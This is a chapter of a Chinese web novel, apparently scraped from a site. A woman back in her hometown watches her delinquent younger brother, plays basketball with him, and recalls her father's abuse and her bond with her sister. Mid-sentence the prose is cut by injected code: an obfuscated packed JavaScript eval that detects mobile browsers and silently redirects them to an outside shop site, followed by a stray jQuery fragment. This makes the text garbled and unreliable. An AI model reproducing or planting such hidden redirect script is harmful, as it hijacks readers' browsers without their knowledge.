丁胜男定定地看着眼前这个巨型开放型商圈,风靡全球的盲盒公仔店里到处都是年轻人,璀璨夺目的金饰店里妆容精致的店员比顾客还多,奶茶店里身穿不同颜色制服的外卖员川流不息,往里走楼上是各式各样的网红店,火锅、烧烤、自助一应俱全,恩爱情侣和精致男女坐在门口等着叫号。很明显,眼前是再普通不过的商场,连入驻的品牌都没什么独特的地方。
她怀疑自己可能是记错了,低下头再一次确认自己所处的地点和案卷上记录的家庭住址是否一致。
反复确认两次,丁胜男长长地叹了口气:“我就知道会这样。”
在商场的斜对面,是一排蓝色玻璃的老房子,二十年来都没怎么变过,是曾经的数码城,也是丁胜男过去用来记蒋今越家在哪的锚点。
在她的记忆里,这里应该是小区的大门,她只需要跟保安说一声对方的门牌号就能进去,沿着林荫道往前走一百米向左转,走到底后再右拐,那里有一个独栋别墅,那就是蒋今越的家了。
然而以往的景象荡然无存,只剩她呆呆傻傻地站在熙攘的人群里,像是只有自己活在了十年前。
丁胜男自嘲地笑了下,自暴自弃地去奶茶店里点了杯最贵的,找了个角落喝了起来。
明明这才第一天,她就已经感觉穷途末路山穷水尽了,犯罪现场完全消失,侦查笔录毫无破绽,相关人员全部死亡,她该怎么确认真相?
她本应该继续思考应该怎么办,可是不知为何,她只是茫然地看着即将落下的太阳,什么也没想,任由风从自己的左边吹向右边,带来不远处的声音。
“妈的,这俩老不死的真烦,这才六点就催我早点回家了,我才打多久。”
“她是怕你今天晚上还去网吧通宵,让你回去。”
丁胜男的身后是个篮球场,两个气喘吁吁的男孩一屁股坐在了椅子上,过了一会,两个人开始聊天,声音传进了丁胜男的耳朵里。
“屁,她肯定是怕我又把人肚子搞大。”听到这里,丁胜男没忍住往身后瞪了眼,说话的男孩染了个红色的头,刘海盖过眼睛,声音又尖又细。
“不过你也真可以,这么快就勾搭上咱们临职的校花,一发就命中。”旁边的男孩留了个长发,长度超过肩膀,乍一看还以为肩头的刺青是他的头发。
临职,说的是临江市职业技术学院吧,丁胜男无声地叹了口气。不知为何,她突然想起了丁亚楠。
“那是,也不看看你丁哥是什么人。”红毛自豪地笑了起来,“说实话,要不是我爸妈不想让我离家太远,我才看不上这破学校,找个处都难。算了,我再打一会就回去,毕竟前一阵子给娇娇打胎爆了他们不少金币,最近得哄着点。”
“哈哈哈哈确实,他们好歹给你的钱多啊,要多少给多少。”
“你笨啊。他们不给,你自己不会想办法拿啊。”红毛满脸不屑一顾。
“诶,那也得他们宠你才行。”
“废话,我可是独生子,他们的钱不给我又能给谁,不过一个月两千五够干嘛,吃个饭就没了。”
大概是回到临江的缘故,原本逝去的记忆又被再次唤醒,丁胜男不知为何突然想起自己的高中,那时候丁威给自己多少钱来着。好像只有三百,这当然是一个让她感觉窘迫的数字。
在她的记忆里,有一次学校让交书本费,一百七十四,这个数她记得很清楚。因为没钱,她去问丁威要,丁威要她一笔笔地列出自己的生活费都用哪里去了,但凡有一块记不清去向,他就少给一块。
“乱花钱,一点都不知道挣钱有多不容易。”那天,丁威怒冲冲地把一百三十二摔在了茶几上。那种屈辱的感觉,丁胜男至今还记得。
后来怎么样了?过了会,丁胜男回忆起来,那次她拖了很久,直到下个月的生活费拿到手里才交上,在那期间,她每次上课都站在最后一排。
“诶,丁远,卢强——”篮球场上,有个男孩穿外套走了出来,抱着球的人冲着坐在椅子上的两个男孩喊,“你们还打不打,我们这边缺个人。”
“来了。”
两个男孩站起来准备往球场上走,完全没有意识到,在他们身后还有另外一个人同时也站了起来,目不转睛地盯着他们。
丁胜男认真地看着那个染着红色头发的人,但其实,她原本不需要如此认真,从那张脸上找到熟悉的感觉实在是太过轻松。
他的脸型和丁威一样,国字脸,太阳穴隐隐内凹,眼则跟妈妈很像,双眼皮,桃花眼,长睫毛,长了个和丁亚楠差不多高的鼻梁,至于嘴唇……丁胜男无意中咬了下自己的下唇,不远处的男孩也做了个复制粘贴般的动作。
在她的记忆里,自己的弟弟还是个没自己腿高的小不点,稚嫩、幼小,手和脚像是玩偶一样软,因为病弱一直被父母包围着,如果他们有事离开,那么照顾的人就变成了她。其实,丁胜男一直很难和他好好相处,连她都说不明白是什么原因。
可是记忆里,他应该还是跟在后面喊自己姐姐的小孩,因为去医院的路上要过马路,所以他小小的身子会紧紧贴着她,手伸得高高的去抓自己的手,手心里汗津津的,那时候丁远总是小跑着往前走,生怕身旁的人会丢下他。
谁也不知道,到底是哪个瞬间改变了一切,让弱小的孩子长成了会伤害别人的畜生。
“靠,又成四打五了,要么再喊一个。”丁远环视四周,看到篮球场的铁网外站着一个高高瘦瘦的年轻“男人”,正往球场看着,便走过去凑近铁网,“嘿,兄弟会打篮球不,我们缺个人。”
然而那个人却直勾勾地看着他,丁远被看得全身发憷。
难道最近勾搭的哪个妹子是他女朋友?
“不打就算了……”
“好啊,”复杂的情绪一闪而过,仿佛是幻觉,眼前的人露出一个微笑来,“我篮球打得还可以。”
毕业后,丁胜男偶尔也会跟同事们在球场上来几下。所有的人都友善,但丁胜男看得出那种友善带着十足的距离感,一见她冲来,阻拦的手变成了虚掩,球也很少传给她,十分没意思。至于女篮……单位所有女孩加起来都凑不成一支篮球队,所以大多数的时候她只不过是自己在篮球场上投两下篮。
眼前的男孩们没认出丁胜男的真实性别,看人到齐,倒也迅速地开始比赛起来。没人指望她能干什么,也没人给她传球,只当她是凑人头,直到两分钟后她靠着个漂亮的假动作从丁远手里抢过球,顺道丢了一个利落的三分。
“可以啊老哥。”身旁不知道哪个男孩冲她竖了个拇指。
丁胜男笑笑,余光看见丁远面色青黑地耸了下肩:“没看清,再来。”
可这样的事情发生了一次、两次、三次……就是对篮球一无所知的人也能看得出,丁胜男与他们之间的差距。球鞋的踩踏声和篮球与球场相撞的声音混杂在一起,像是一片猛烈的暴风雨,而丁胜男是控制着暴风雨移动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707296|206490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人,丁远就是那个在暴风雨中无处躲藏的人。
一个不小心,篮球从丁胜男手里脱手,砸到了丁远的后背,他烦躁地抄起球冲丁胜男砸去,却被她稳稳接住:“不好意思,刚才手滑了,很疼吗?”
会像爸爸当年打我和亚楠一样疼吗?
他有这样打你吗?
“……你”丁远瞪了她一眼,然后他从口袋里掏出震动的手机,烦躁地骂着电话对面的人:“你别来接我,我马上回去……到门口了?!别过来,我过去。”
丁远走了,其他人看了眼快要黑的天色:“算了,我们也走吧。”
丁胜男没地方可去,鬼使神差地跟在自己弟弟的后面,看到了来接自己儿子的丁威。她差点认不出来自己的父亲,跟记忆里相比这个男人苍老太多了,老得开始畏惧自己的孩子。
头发花白的男人试图给丁远披上外套,可叛逆期的男孩身体燥热,又刚运动完,满身抗拒,烦躁地躲开。两个人并排走,却始终保持着一米多的距离,跟路人没什么差别,就连上车的时候丁远也只坐在后排,像是在坐网约车。
看吧,哪怕丁远暴躁、肮脏、无耻、满嘴脏话、甚至仇恨他们自己,可丁威依然爱他。
可时至今日,丁胜男已经不再因此痛苦了,她早就已经不在乎他们的爱,更何况,他们已经获得了应得的报复。
*
大概是白天运动了一会,丁胜男的这一晚睡得很沉。
在梦里,她又回到了自己的童年,那是个寒冷的冬天,她和丁亚楠手拉手在巷子里跑来跑去。那时的丁胜男头上顶着一只花花绿绿的帽子,那是丁亚楠给她的生日礼物,说她头发太短,冬天会被冻耳洞,从那天起,丁胜男到哪都带着。毕竟这顶帽子来之不易,丁威从来不会给她们零花钱,丁亚楠没钱买毛线,四五件毛衣就这样悄无声息地短了一截,好在,没人发现。
过了一会,突然下起了暴雪,她们找了个角落躲了起来,丁胜男拿出老旧的手机给丁威打了个电话,开始等自己的父亲来接。
可是她们等了很久很久,还是没能听到父亲的脚步声,两个小小的女孩对视一眼,犹豫着要不要冒着雪回家。
为了安抚妹妹,那个瞬间,丁胜男不知为何想起了自己在电视上看到的大城市,开始幻想起和丁亚楠长大后在那里生活的日子——
丁亚楠可以每天都买不同的衣服,包包多的要买个比门还高的大柜子装,每天化妆,精致得像是电视剧女主角;而丁胜男大概会当个体育老师或者健身教练,在有人试图打自己妹妹主意的时候冲出来警告他,那时候丁亚楠会满脸通红制止她,告诉她这是自己准备带回家给她看的男朋友。
“我等不及长大了,我们现在去那里吧。”丁亚楠激动地站起身来,把她也从角落里拉了出来,“我不想回家了。”
真是奇怪,听着如此豪情干云的话,丁胜男的心里居然也升起无限的勇气来,让她完全不去想这一路上会有多难。两对小小的手彼此相握,心意也瞬间相通。她们不想再和父亲玩无休止的等待游戏了,她们要去更好的地方。
于是小小的她们开始拼命般往前冲,好像这样就能逃离糟糕的命运。
跑吧,趁厄运还未降临,在一切还没发生之前,美好的地方就在远方。
可是,你为什么哭呢?就好像害怕的一切都已经发生了。在梦的最后,丁胜男问着泪水潺潺的自己。
然而泪水从未止歇。